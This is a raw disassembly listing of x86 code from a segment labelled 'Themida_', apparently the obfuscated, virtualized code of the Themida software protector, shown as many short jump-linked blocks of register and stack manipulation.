; ---------------------------------------------------------------------------
loc_5563D9: ; CODE XREF: Themida_:0055AA58j
mov esp, [esp]
pop dword ptr [esp]
jmp loc_5519F6
; ---------------------------------------------------------------------------
loc_5563E4: ; CODE XREF: Themida_:00556E2Aj
push ebp
jmp loc_561FC1
; ---------------------------------------------------------------------------
loc_5563EA: ; CODE XREF: Themida_:0055BAEFj
xor ebp, [esp]
mov esp, [esp]
jmp loc_556606
; ---------------------------------------------------------------------------
loc_5563F5: ; CODE XREF: Themida_:00555F15j
pop edx
jmp loc_550D74
; ---------------------------------------------------------------------------
loc_5563FB: ; CODE XREF: Themida_:005655B7j
push eax
mov eax, 2
push edi
mov edi, 68D2324Ah
add esi, edi
pop edi
jmp loc_55F6B8
; ---------------------------------------------------------------------------
loc_55640F: ; CODE XREF: Themida_:0055E7E7j
dec edx
push ebx
push edx
push 0C571207h
pop edx
xor edx, 20C463CCh
neg edx
shl edx, 6
add edx, 7CAEC412h
mov ebx, edx
pop edx
xor ebx, 409160C5h
push edx
jmp loc_5641BA
; ---------------------------------------------------------------------------
loc_556438: ; CODE XREF: Themida_:00554236j
push eax
mov eax, 238073Ah
xor eax, 749671D4h
add eax, 7412DE1h
jmp loc_551042
; ---------------------------------------------------------------------------
mov cx, [esp]
push 902h
mov [esp], edi
push esp
jmp loc_559E38
; ---------------------------------------------------------------------------
lodsb
push small 4A3Ch
jmp loc_552CBF
; ---------------------------------------------------------------------------
loc_556469: ; CODE XREF: Themida_:005531C4j
push 4D463AE3h
jmp loc_557AA2
; ---------------------------------------------------------------------------
loc_556473: ; CODE XREF: Themida_:00557BAEj
sub bl, al
add bl, 0FAh
push ecx
mov cl, 0A9h
neg cl
not cl
inc cl
sub cl, 1Bh
sub cl, 92h
add bl, 38h
jmp loc_554AB9
; ---------------------------------------------------------------------------
loc_55648F: ; CODE XREF: Themida_:0055EAD4j
push 3F9501BFh
pop esi
sub esi, 3F9501BBh
mov eax, esi
pop esi
add ecx, eax
push dword ptr [esp]
pop eax
push edx
jmp loc_551088
; ---------------------------------------------------------------------------
mov eax, [esp]
push 35Ah
mov [esp], ecx
mov ecx, esp
sub esp, 4
mov [esp], edx
jmp loc_551D7E
; ---------------------------------------------------------------------------
loc_5564C5: ; CODE XREF: Themida_:00552AFCj
add edi, edx
sub edi, 312A49CCh
add edi, 5D65E47h
jmp loc_5635F2
; ---------------------------------------------------------------------------
loc_5564D8: ; CODE XREF: Themida_:0055AB54j
inc ebx
jmp loc_55D235
; ---------------------------------------------------------------------------
loc_5564DE: ; CODE XREF: Themida_:005658A1j
push 633Bh
jmp loc_564B08
; ---------------------------------------------------------------------------
loc_5564E8: ; CODE XREF: Themida_:0055B26Aj
xor dh, 27h
sub dh, 0B9h
sub ch, dh
pop edx
xor ch, 7Eh
and ah, ch
mov ecx, [esp]
add esp, 4
push 3838h
mov [esp], edx
jmp loc_56449E
; ---------------------------------------------------------------------------
loc_556509: ; CODE XREF: Themida_:0055F025j
push edi
mov edi, esp
add edi, 4
push 5FEh
mov [esp], ecx
mov ecx, 4
add edi, ecx
pop ecx
xchg edi, [esp]
pop esp
push esi
mov esi, 460A6C1Fh
jmp loc_553562
; ---------------------------------------------------------------------------
loc_556531: ; CODE XREF: Themida_:00557A52j
xchg esi, [esp]
mov esp, [esp]
push dword ptr [esp]
pop eax
jmp loc_564F1D
; ---------------------------------------------------------------------------
loc_556540: ; CODE XREF: Themida_:0055ECD5j
add esi, ebx
pop ebx
push ebx
push ebp
mov ebp, 4
mov ebx, ebp
pop ebp
add esi, ebx
jmp loc_55BCEB
; ---------------------------------------------------------------------------
loc_556554: ; CODE XREF: Themida_:00563BA3j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
pop ecx
jmp loc_5582E5
; ---------------------------------------------------------------------------
loc_55656D: ; CODE XREF: Themida_:0055FAB8j
add esp, 4
jmp loc_551582
; ---------------------------------------------------------------------------
loc_556578: ; CODE XREF: Themida_:0055A8F4j
add ebx, esi
sub ebx, 725356B1h
push edx
mov edx, 6C0D14FAh
jmp loc_565323
; ---------------------------------------------------------------------------
loc_55658B: ; CODE XREF: Themida_:0055BC9Fj
pop ecx
jmp loc_550420
; ---------------------------------------------------------------------------
loc_556591: ; CODE XREF: Themida_:0056194Cj
mov [esp], eax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_556599: ; CODE XREF: Themida_:00564F6Ej
sub esi, 782032C6h
jmp loc_554C4E
; ---------------------------------------------------------------------------
loc_5565A4: ; CODE XREF: Themida_:00562C6Aj
mov edx, 3A455489h
sub edi, edx
pop edx
add edi, 7A042131h
add edi, edx
sub edi, 7A042131h
add edi, 3A455489h
pop edx
add esi, edi
push dword ptr [esp]
push dword ptr [esp]
pop edi
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
add esi, 2
xor esi, [esp]
jmp loc_5636A3
; ---------------------------------------------------------------------------
loc_5565F1: ; CODE XREF: Themida_:0055FAA4j
sub ebx, ebp
add ebx, 18E42CFCh
sub ebx, 6C164EC2h
pop ebp
push ebx
jmp loc_55127B
; ---------------------------------------------------------------------------
loc_556606: ; CODE XREF: Themida_:005563F0j
pop dword ptr [esp]
mov esp, [esp]
movsx cx, al
jmp loc_5521C1
; ---------------------------------------------------------------------------
loc_556615: ; CODE XREF: Themida_:00563FD7j
mov ecx, 28502552h
jmp loc_559DC7
; ---------------------------------------------------------------------------
loc_55661F: ; CODE XREF: Themida_:005625E6j
pop eax
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], edi
push edx
mov edx, 18083CF4h
push 18083D2Ch
pop edi
push eax
mov eax, 2FE71258h
inc eax
sub eax, 0C829C2A0h
jmp loc_55542E
; ---------------------------------------------------------------------------
loc_55664C: ; CODE XREF: Themida_:005612CFj
push eax
push ebp
jmp loc_56032F
; ---------------------------------------------------------------------------
loc_556653: ; CODE XREF: Themida_:0056184Aj
xchg ebx, ebp
not ebx
jmp loc_551BED
; ---------------------------------------------------------------------------
loc_55665C: ; CODE XREF: Themida_:00564839j
add esp, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
mov ecx, 0FD069Ch
jmp loc_556E22
; ---------------------------------------------------------------------------
loc_556670: ; CODE XREF: Themida_:005617FBj
push ecx
mov ecx, 68866A2Fh
push edx
mov edx, ecx
jmp loc_55E92C
; ---------------------------------------------------------------------------
loc_55667E: ; CODE XREF: Themida_:0055861Ej
bts [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_556689: ; CODE XREF: Themida_:00557C7Bj
add esi, 0FFFFFFFFh
push 4183h
jmp loc_55A1E5
; ---------------------------------------------------------------------------
loc_556696: ; CODE XREF: Themida_:00562BE0j
sub byte ptr [esp], 8Bh
jmp loc_563513
; ---------------------------------------------------------------------------
loc_55669F: ; CODE XREF: Themida_:00557BBCj
mov ah, 6Ch
jmp loc_553885
; ---------------------------------------------------------------------------
loc_5566A6: ; CODE XREF: Themida_:00564A10j
mov esi, 4CB81DF7h
sub esi, 31B3617Bh
add esi, 0CFC6EFDh
and esi, 3A7919EAh
shr esi, 1
jmp loc_55ED75
; ---------------------------------------------------------------------------
loc_5566C4: ; CODE XREF: Themida_:005547D6j
sub ebx, 815444E3h
or ecx, ebx
mov ebx, [esp]
jmp loc_55E21C
; ---------------------------------------------------------------------------
loc_5566D4: ; CODE XREF: Themida_:00553E96j
mov edx, 2AC5A6Eh
jmp loc_551E63
; ---------------------------------------------------------------------------
loc_5566DE: ; CODE XREF: Themida_:0056329Dj
push ebp
jmp loc_551ADB
; ---------------------------------------------------------------------------
loc_5566E4: ; CODE XREF: Themida_:00551EC0j
xor ebx, 0B77FF104h
add ebp, ebx
push dword ptr [esp]
pop ebx
add esp, 4
add ebp, 4
jmp loc_5581F1
; ---------------------------------------------------------------------------
loc_5566FB: ; CODE XREF: Themida_:0055B5E8j
not dword ptr [esp]
jmp loc_551AD0
; ---------------------------------------------------------------------------
loc_556703: ; CODE XREF: Themida_:0055DE11j
add edx, 0DB84D2DBh
mov edi, edx
pop edx
add esi, edi
pop edi
push edi
mov edi, 26F754ADh
and edi, 229754BBh
jmp loc_557CF6
; ---------------------------------------------------------------------------
loc_556720: ; CODE XREF: Themida_:0055CAC8j
pop ebx
jmp loc_554967
; ---------------------------------------------------------------------------
loc_556726: ; CODE XREF: Themida_:005550D6j
inc ecx
jmp loc_55A334
; ---------------------------------------------------------------------------
loc_55672C: ; CODE XREF: Themida_:0055F132j
pop edi
add ebx, eax
pop eax
sub eax, ebx
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add ebx, 529F73FAh
add ebx, eax
sub ebx, 529F73FAh
push dword ptr [esp]
pop eax
jmp loc_55EC28
; ---------------------------------------------------------------------------
loc_55675F: ; CODE XREF: Themida_:0055A520j
pop ecx
jmp loc_55CECD
; ---------------------------------------------------------------------------
loc_556765: ; CODE XREF: Themida_:00564269j
xchg ebx, [esp]
jmp loc_55F5FA
; ---------------------------------------------------------------------------
loc_55676D: ; CODE XREF: Themida_:00557CC2j
pop ebp
jmp loc_55C28A
; ---------------------------------------------------------------------------
loc_556773: ; CODE XREF: Themida_:00563F07j
add edi, edx
pop edx
add edi, 2
xor edi, [esp]
jmp loc_55DEFC
; ---------------------------------------------------------------------------
loc_556784: ; CODE XREF: Themida_:00558180j
pop esi
jmp loc_557A79
; ---------------------------------------------------------------------------
loc_55678A: ; CODE XREF: Themida_:005538F1j
sub esi, 4
xor esi, [esp]
jmp loc_5577A1
; ---------------------------------------------------------------------------
loc_556798: ; CODE XREF: Themida_:00556F50j
pop ebx
mov ebp, [esp]
push ebx
mov ebx, esp
push esi
mov esi, 38881D9Dh
add esi, 0FFFFFFFFh
jmp loc_55A4F3
; ---------------------------------------------------------------------------
loc_5567AD: ; CODE XREF: Themida_:0055D6F7j
sub esi, ebp
mov ebp, [esp]
add esp, 4
pop eax
xor esi, [esp]
jmp loc_55694A
; ---------------------------------------------------------------------------
loc_5567C1: ; CODE XREF: Themida_:00564BC1j
mov [esp], ebx
mov ebx, esp
jmp loc_55C7D6
; ---------------------------------------------------------------------------
loc_5567CB: ; CODE XREF: Themida_:00554247j
push esi
mov esi, 1A5847B2h
jmp loc_5618E5
; ---------------------------------------------------------------------------
loc_5567D6: ; CODE XREF: Themida_:005589E8j
pop ecx
jmp loc_5549D4
; ---------------------------------------------------------------------------
loc_5567DC: ; CODE XREF: Themida_:00556B2Cj
add edi, 4
jmp loc_55A765
; ---------------------------------------------------------------------------
loc_5567E7: ; CODE XREF: Themida_:00563A41j
push edi
mov edi, 4
sub edx, edi
pop edi
xchg edx, [esp]
jmp loc_55EF33
; ---------------------------------------------------------------------------
loc_5567F8: ; CODE XREF: Themida_:00565C08j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor bl, al
jmp loc_56304B
; ---------------------------------------------------------------------------
loc_55680F: ; CODE XREF: Themida_:0055CAC1j
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5610BE
; ---------------------------------------------------------------------------
loc_55681F: ; CODE XREF: Themida_:00554CF8j
push 4322h
mov [esp], ebx
sub esp, 4
jmp loc_556D89
; ---------------------------------------------------------------------------
loc_556832: ; CODE XREF: Themida_:00563B64j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_556837: ; CODE XREF: Themida_:00555F61j
mov [esp], ebp
jmp loc_560975
; ---------------------------------------------------------------------------
loc_55683F: ; CODE XREF: Themida_:005514F9j
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
sub eax, 20EA665Ch
add eax, ebx
add eax, 20EA665Ch
jmp loc_559153
; ---------------------------------------------------------------------------
loc_55685D: ; CODE XREF: Themida_:0055DD6Dj
not dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], eax
push ebp
mov ebp, 51BF4A43h
mov eax, 289F1D5h
add eax, ebp
pop ebp
and eax, 46982419h
jmp loc_562766
; ---------------------------------------------------------------------------
loc_55687F: ; CODE XREF: Themida_:0055B3E9j
sub ebp, 2E1B1BA9h
pop edx
push 70D7h
mov [esp], ecx
jmp loc_5597ED
; ---------------------------------------------------------------------------
loc_556893: ; CODE XREF: Themida_:00563EABj
push ebx
mov ebx, 18DC249Dh
sub eax, 67541AF8h
add eax, ebx
add eax, 67541AF8h
pop ebx
jmp loc_55E9DB
; ---------------------------------------------------------------------------
loc_5568AB: ; CODE XREF: Themida_:005641D1j
sub ebp, 0D38154A6h
sub ebx, ebp
pop ebp
sub ebx, 60AA7FE9h
jmp loc_560798
; ---------------------------------------------------------------------------
loc_5568BF: ; CODE XREF: Themida_:00560DAAj
push edi
mov edi, 439A5EF2h
jmp loc_5591F6
; ---------------------------------------------------------------------------
loc_5568CA: ; CODE XREF: Themida_:00558283j
and edx, 208167C5h
not edx
sub edx, 9D5AB460h
mov edi, edx
jmp loc_5649D4
; ---------------------------------------------------------------------------
loc_5568DF: ; CODE XREF: Themida_:00557418j
add esp, 4
mul ecx
jmp loc_552B74
; ---------------------------------------------------------------------------
loc_5568EC: ; CODE XREF: Themida_:00558963j
mov bh, 0Fh
add al, bh
pop ebx
add al, bh
jmp loc_55A4DA
; ---------------------------------------------------------------------------
loc_5568F8: ; CODE XREF: Themida_:0055FE89j
xchg edx, [esp]
pop esp
sub esp, 4
jmp loc_55302B
; ---------------------------------------------------------------------------
loc_556907: ; CODE XREF: Themida_:005520E9j
pop ebp
push 5A6Fh
mov [esp], ecx
push 24h
mov ecx, [esp]
add esp, 4
sub ecx, 1D17744Eh
sub ecx, 36090BAEh
add ecx, edi
add ecx, 36090BAEh
jmp loc_553AE8
; ---------------------------------------------------------------------------
loc_556937: ; CODE XREF: Themida_:00564499j
mov [esp], ax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_556940: ; CODE XREF: Themida_:005642FCj
push 26907E6Bh
jmp loc_5616F9
; ---------------------------------------------------------------------------
loc_55694A: ; CODE XREF: Themida_:005567BCj
xor [esp], esi
xor esi, [esp]
pop esp
imul cx
push 434Bh
jmp loc_55735B
; ---------------------------------------------------------------------------
loc_55695E: ; CODE XREF: Themida_:00558D9Bj
mov eax, 496B25BFh
jmp loc_557FD2
; ---------------------------------------------------------------------------
lodsd
push edx
jmp loc_554344
; ---------------------------------------------------------------------------
loc_55696F: ; CODE XREF: Themida_:00554AB4j
push ecx
jmp loc_554CAB
; ---------------------------------------------------------------------------
loc_556975: ; CODE XREF: Themida_:005614C8j
push ebp
mov ebp, 0
sub ebp, ebx
push ebp
add dword ptr [esp], 32EF4B87h
pop ebx
sub ebx, 32EF4B87h
pop ebp
push edx
mov edx, 600379CCh
jmp loc_565379
; ---------------------------------------------------------------------------
loc_556998: ; CODE XREF: Themida_:005655A9j
add edi, 4
jmp loc_554332
; ---------------------------------------------------------------------------
loc_5569A3: ; CODE XREF: Themida_:00562B23j
sub al, bl
add al, 7Dh
jmp loc_564A1F
; ---------------------------------------------------------------------------
loc_5569AC: ; CODE XREF: Themida_:00563B39j
add eax, 31110B20h
sub eax, ebp
sub eax, 31110B20h
sub eax, 7F8D4AD6h
pop ebp
add eax, 17197C37h
add eax, esi
sub eax, 17197C37h
add eax, 24FD400Dh
mov esi, [esp]
jmp loc_55AB14
; ---------------------------------------------------------------------------
loc_5569D7: ; CODE XREF: Themida_:005588D4j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55A245
; ---------------------------------------------------------------------------
loc_5569E2: ; CODE XREF: Themida_:0055D280j
add eax, 4
jmp loc_55A4A4
; ---------------------------------------------------------------------------
loc_5569EA: ; CODE XREF: Themida_:0055846Aj
push 0
sub dword ptr [esp], 5FB12F9Ch
sub [esp], esi
jmp loc_55CF8F
; ---------------------------------------------------------------------------
loc_5569FE: ; CODE XREF: Themida_:005637F5j
pop ecx
xchg ebp, [esp]
mov esp, [esp]
push 0A5Dh
mov [esp], eax
push esp
pop eax
add eax, 4
sub esp, 4
jmp loc_563870
; ---------------------------------------------------------------------------
loc_556A1F: ; CODE XREF: Themida_:0055A4DCj
pop bx
jmp loc_559EF5
; ---------------------------------------------------------------------------
loc_556A26: ; CODE XREF: Themida_:005585B8j
push 29C72292h
mov ebp, [esp]
add esp, 4
xor ebp, 58FC3E12h
mov ecx, ebp
pop ebp
xor ecx, 7AAB46D3h
push esi
push edx
mov edx, ecx
mov esi, edx
pop edx
mov eax, esi
pop esi
pop ecx
not eax
add eax, 5F7E6CF3h
neg eax
xor eax, 678241EFh
sub esi, eax
jmp loc_56511C
; ---------------------------------------------------------------------------
loc_556A60: ; CODE XREF: Themida_:0055AF12j
push ecx
push esi
mov esi, 0B32356Ch
mov ecx, 52864FE5h
xor ecx, esi
mov esi, [esp]
add esp, 4
jmp loc_553360
; ---------------------------------------------------------------------------
loc_556A79: ; CODE XREF: Themida_:005526BAj
xor ebp, [esp]
jmp loc_55BD3B
; ---------------------------------------------------------------------------
loc_556A81: ; CODE XREF: Themida_:00558268j
mov ecx, 5AAD11C9h
jmp loc_55E054
; ---------------------------------------------------------------------------
loc_556A8B: ; CODE XREF: Themida_:005572A5j
add edi, eax
push edx
mov edx, 57F874CDh
jmp loc_553A9A
; ---------------------------------------------------------------------------
loc_556A98: ; CODE XREF: Themida_:00559CEFj
pop edx
add eax, edx
pop edx
push dword ptr [esp]
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
jmp loc_565992
; ---------------------------------------------------------------------------
loc_556AB6: ; CODE XREF: Themida_:00565117j
push ebx
mov ebx, 61771512h
sub ebx, 10BE5783h
dec ebx
sub ebx, 0FFFFFFFFh
jmp loc_560E84
; ---------------------------------------------------------------------------
loc_556ACB: ; CODE XREF: Themida_:0055497Ej
add ebp, 48B44A75h
sub ebp, edx
sub ebp, 48B44A75h
jmp loc_564520
; ---------------------------------------------------------------------------
loc_556ADE: ; CODE XREF: Themida_:0055E8D8j
add edi, 3E3A4A94h
shl edi, 2
add edi, 0A1867434h
add ebp, edi
jmp loc_5532C5
; ---------------------------------------------------------------------------
loc_556AF4: ; CODE XREF: Themida_:00562005j
add [esp+4], edx
pop edx
jmp loc_563E2E
; ---------------------------------------------------------------------------
loc_556AFE: ; CODE XREF: Themida_:00557284j
add esp, 4
push esi
mov esi, 59AB3E48h
add esi, 589D61EFh
xor esi, 0B248A033h
add ecx, esi
jmp loc_562483
; ---------------------------------------------------------------------------
loc_556B1A: ; CODE XREF: Themida_:00561AE0j
xor edx, 1A4597E0h
mov eax, edx
jmp loc_552228
; ---------------------------------------------------------------------------
loc_556B27: ; CODE XREF: Themida_:0055131Cj
sub al, bl
push edi
push esp
pop edi
jmp loc_5567DC
; ---------------------------------------------------------------------------
loc_556B31: ; CODE XREF: Themida_:0055A895j
not ch
push dx
jmp loc_5651A0
; ---------------------------------------------------------------------------
loc_556B3A: ; CODE XREF: Themida_:00561954j
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_552541
; ---------------------------------------------------------------------------
loc_556B4B: ; CODE XREF: Themida_:0055C8B4j
pop ebx
jmp loc_55F05D
; ---------------------------------------------------------------------------
loc_556B51: ; CODE XREF: Themida_:00559FAFj
xor esi, 3264651Eh
add ebp, esi
mov esi, [esp]
add esp, 4
jmp loc_5641CB
; ---------------------------------------------------------------------------
loc_556B67: ; CODE XREF: Themida_:0055605Ej
mov eax, 0
sub eax, ecx
push eax
pop ecx
pop eax
push edx
mov edx, 2D1D1381h
xor ecx, edx
pop edx
sub ecx, 5AC882FEh
mov edx, ecx
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_559C89
; ---------------------------------------------------------------------------
loc_556B9A: ; CODE XREF: Themida_:005623D8j
push dword ptr [esp]
jmp loc_5520EE
; ---------------------------------------------------------------------------
loc_556BA2: ; CODE XREF: Themida_:0055B431j
mov ecx, [esp]
add esp, 4
add esp, 4
sub esp, 4
jmp loc_55A617
; ---------------------------------------------------------------------------
loc_556BB6: ; CODE XREF: Themida_:005521DFj
jmp loc_550420
; ---------------------------------------------------------------------------
loc_556BBB: ; CODE XREF: Themida_:00552FB2j
mov al, 72h
or al, 0D3h
jmp loc_55B4BE
; ---------------------------------------------------------------------------
loc_556BC4: ; CODE XREF: Themida_:00563C51j
push 154Dh
jmp loc_5521F7
; ---------------------------------------------------------------------------
loc_556BCE: ; CODE XREF: Themida_:0055DCB0j
pop ebx
add eax, esi
push ebp
mov ebp, 1D22678h
add eax, ebp
mov ebp, [esp]
add esp, 4
sub eax, 88344D6h
push dword ptr [esp]
pop esi
jmp loc_553196
; ---------------------------------------------------------------------------
loc_556BF0: ; CODE XREF: Themida_:00557D1Bj
push eax
push esp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_55DF9A
; ---------------------------------------------------------------------------
loc_556C00: ; CODE XREF: Themida_:0055147Ej
mov [esp], edi
mov edi, 124313D3h
shr edi, 2
push ebx
mov ebx, 1BF81107h
xor edi, ebx
pop ebx
shr edi, 2
inc edi
add edi, 787D410h
jmp loc_565598
; ---------------------------------------------------------------------------
loc_556C23: ; CODE XREF: Themida_:0055BBF5j
push edx
mov edx, 2CE13331h
mov edi, edx
pop edx
jmp loc_555160
; ---------------------------------------------------------------------------
loc_556C31: ; CODE XREF: Themida_:00558A23j
mov cl, 3
push eax
jmp loc_55D063
; ---------------------------------------------------------------------------
loc_556C39: ; CODE XREF: Themida_:0055D08Aj
pop ebx
mov [edi+28h], cl
push dword ptr [esp]
jmp loc_55F5CC
; ---------------------------------------------------------------------------
loc_556C45: ; CODE XREF: Themida_:00564D95j
mov ebp, esp
jmp loc_553336
; ---------------------------------------------------------------------------
loc_556C4C: ; CODE XREF: Themida_:00564F3Ej
push ebx
mov ebx, esp
jmp loc_5570B5
; ---------------------------------------------------------------------------
loc_556C54: ; CODE XREF: Themida_:00561700j
mov ebp, ecx
pop ecx
shr ebp, 7
xor ebp, 51ACDAh
sub esi, ebp
push dword ptr [esp]
pop ebp
jmp loc_554138
; ---------------------------------------------------------------------------
loc_556C6B: ; CODE XREF: Themida_:0055ECF3j
sub edi, 1CA1577Ah
pop ebx
add edi, 4
jmp loc_55CAE3
; ---------------------------------------------------------------------------
mov edx, [esp]
jmp loc_55624E
; ---------------------------------------------------------------------------
loc_556C85: ; CODE XREF: Themida_:0055BECAj
mov [esp], ecx
mov ecx, 2B7A7632h
push edx
mov edx, 47046A27h
or edx, 5BF4284Ch
add edx, 36384687h
add edx, 92128119h
sub ecx, edx
pop edx
or ecx, 7B2B5BB4h
neg ecx
xor ecx, 0D79DC1E7h
xor ebx, ecx
pop ecx
sub ebx, 525900C5h
add edx, ebx
mov ebx, [esp]
add esp, 4
push edi
mov edi, 4
add edx, edi
jmp loc_55E0A8
; ---------------------------------------------------------------------------
loc_556CD4: ; CODE XREF: Themida_:005544E9j
not ebx
add ebx, 61235Fh
jmp loc_551FB2
; ---------------------------------------------------------------------------
loc_556CE1: ; CODE XREF: Themida_:0055168Ej
mov edx, [esp]
add esp, 4
jmp loc_563BA0
; ---------------------------------------------------------------------------
loc_556CEF: ; CODE XREF: Themida_:005585D3j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_556CF4: ; CODE XREF: Themida_:0055E5F9j
push esi
mov esi, esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
mov eax, 157E1265h
push edx
push 57AF1352h
pop edx
sub eax, edx
pop edx
add eax, 135A510Bh
push edx
jmp loc_55C6FE
; ---------------------------------------------------------------------------
loc_556D27: ; CODE XREF: Themida_:0055326Ej
push ebx
push esp
mov ebx, [esp]
add esp, 4
push esi
push eax
mov eax, 10B07D24h
mov esi, eax
pop eax
neg esi
shr esi, 4
inc esi
inc esi
add esi, 0F10B07D5h
sub ebx, 5D9A11E6h
add ebx, esi
add ebx, 5D9A11E6h
pop esi
jmp loc_56286D
; ---------------------------------------------------------------------------
loc_556D5D: ; CODE XREF: Themida_:00554322j
push edi
push esp
pop edi
sub esp, 4
mov [esp], esi
mov esi, 4
sub esp, 4
mov [esp], edx
mov edx, 40655A4Eh
sub edi, edx
pop edx
add edi, esi
sub esp, 4
mov [esp], ecx
jmp loc_55B0A3
; ---------------------------------------------------------------------------
loc_556D89: ; CODE XREF: Themida_:0055682Dj
mov [esp], eax
jmp loc_560264
; ---------------------------------------------------------------------------
loc_556D91: ; CODE XREF: Themida_:005531F3j
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
pop edi
pop dword ptr [esp]
push 7BABh
jmp loc_55FE1E
; ---------------------------------------------------------------------------
loc_556DAC: ; CODE XREF: Themida_:00554087j
add ebx, 5BA8043Eh
add ebx, esi
sub ebx, 5BA8043Eh
pop esi
movzx ax, byte ptr [eax]
push small 2639h
mov [esp], ax
jmp loc_55309A
; ---------------------------------------------------------------------------
loc_556DCC: ; CODE XREF: Themida_:0055B02Fj
add esp, 4
push ebx
jmp loc_565787
; ---------------------------------------------------------------------------
loc_556DD8: ; CODE XREF: Themida_:00551DBBj
add [esp+4], eax
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_555852
; ---------------------------------------------------------------------------
loc_556DF4: ; CODE XREF: Themida_:0055E622j
sub esi, 0FFFFFFFFh
and esi, 2C121309h
add esi, 57A95AFFh
push eax
mov eax, 0D89F87A9h
add esi, eax
pop eax
sub ecx, 1085D4Ah
add ecx, esi
add ecx, 1085D4Ah
jmp loc_559AAE
; ---------------------------------------------------------------------------
loc_556E22: ; CODE XREF: Themida_:0055666Bj
xor esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5563E4
; ---------------------------------------------------------------------------
loc_556E2F: ; CODE XREF: Themida_:005597A7j
not eax
xor eax, 2AF060FBh
sub esi, eax
jmp loc_55A820
; ---------------------------------------------------------------------------
loc_556E3D: ; CODE XREF: Themida_:0055A240j
mov [esp], edx
mov edx, 6554C0Fh
xor esi, edx
pop edx
jmp loc_55287B
; ---------------------------------------------------------------------------
loc_556E4D: ; CODE XREF: Themida_:00553331j
mov ecx, esp
push ebx
push esi
mov esi, 1AF43CEFh
mov ebx, 0E50BC315h
add ebx, esi
pop esi
add ecx, ebx
pop ebx
jmp loc_559447
; ---------------------------------------------------------------------------
loc_556E66: ; CODE XREF: Themida_:00559351j
push 35A2h
mov [esp], ebx
jmp loc_565168
; ---------------------------------------------------------------------------
loc_556E73: ; CODE XREF: Themida_:0055F26Aj
pop ecx
jmp loc_558514
; ---------------------------------------------------------------------------
loc_556E79: ; CODE XREF: Themida_:00555BA9j
push dword ptr [esp+4]
jmp loc_555640
; ---------------------------------------------------------------------------
loc_556E82: ; CODE XREF: Themida_:005588DFj
add edx, ebx
add edx, 190D3107h
sub edx, 41514422h
mov ebx, [esp]
push eax
push esp
pop eax
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
push ebx
mov ebx, 6EE24609h
jmp loc_553DAE
; ---------------------------------------------------------------------------
loc_556EB5: ; CODE XREF: Themida_:00550F8Bj
pop eax
jmp loc_55282B
; ---------------------------------------------------------------------------
loc_556EBB: ; CODE XREF: Themida_:005523ABj
test ecx, eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_556EC3: ; CODE XREF: Themida_:0055B31Bj
add esp, 4
jmp loc_555173
; ---------------------------------------------------------------------------
loc_556ECB: ; CODE XREF: Themida_:005571FAj
push ecx
mov cl, bh
mov dh, cl
pop ecx
push 24BBh
mov [esp], eax
mov al, dh
mov ch, al
pop eax
pop edx
mov ebx, [esp]
jmp loc_55F8EE
; ---------------------------------------------------------------------------
loc_556EE7: ; CODE XREF: Themida_:0055333Fj
push ebp
push dword ptr [esp+4]
jmp loc_55D8BD
; ---------------------------------------------------------------------------
loc_556EF1: ; CODE XREF: Themida_:0055EFCCj
add esp, 4
add edx, 32426CC6h
pop ebx
add ebx, 44717C5Ch
sub ebx, 610856B7h
jmp loc_554D8E
; ---------------------------------------------------------------------------
loc_556F0C: ; CODE XREF: Themida_:005540C9j
push ebx
push edx
mov edx, 25CF4C0Ah
and edx, 380923CBh
sub edx, 10D85611h
add edx, 96D7AD5h
jmp loc_552BC0
; ---------------------------------------------------------------------------
loc_556F2A: ; CODE XREF: Themida_:0055E145j
sub ah, 8Ah
jmp loc_555580
; ---------------------------------------------------------------------------
loc_556F32: ; CODE XREF: Themida_:00565621j
push edx
sub esp, 4
jmp loc_55F6D1
; ---------------------------------------------------------------------------
loc_556F3B: ; CODE XREF: Themida_:0055C810j
pop ecx
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5590C7
; ---------------------------------------------------------------------------
loc_556F4E: ; CODE XREF: Themida_:00555A5Cj
add esi, ebx
jmp loc_556798
; ---------------------------------------------------------------------------
loc_556F55: ; CODE XREF: Themida_:005594A8j
push dword ptr [esp]
pop eax
push 682Bh
jmp loc_5656DB
; ---------------------------------------------------------------------------
loc_556F63: ; CODE XREF: Themida_:0055AE2Dj
pop ebp
pop dword ptr [esp]
mov esp, [esp]
div cl
movzx cx, ah
push small 487Fh
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_556F84: ; CODE XREF: Themida_:005654A6j
sub edx, ecx
jmp loc_55E88F
; ---------------------------------------------------------------------------
loc_556F8B: ; CODE XREF: Themida_:0055BC34j
sub eax, ecx
jmp loc_55DD35
; ---------------------------------------------------------------------------
loc_556F92: ; CODE XREF: Themida_:00564076j
push eax
push 7D2h
mov [esp], edx
mov dl, bl
push ecx
mov cl, dl
mov ah, cl
pop ecx
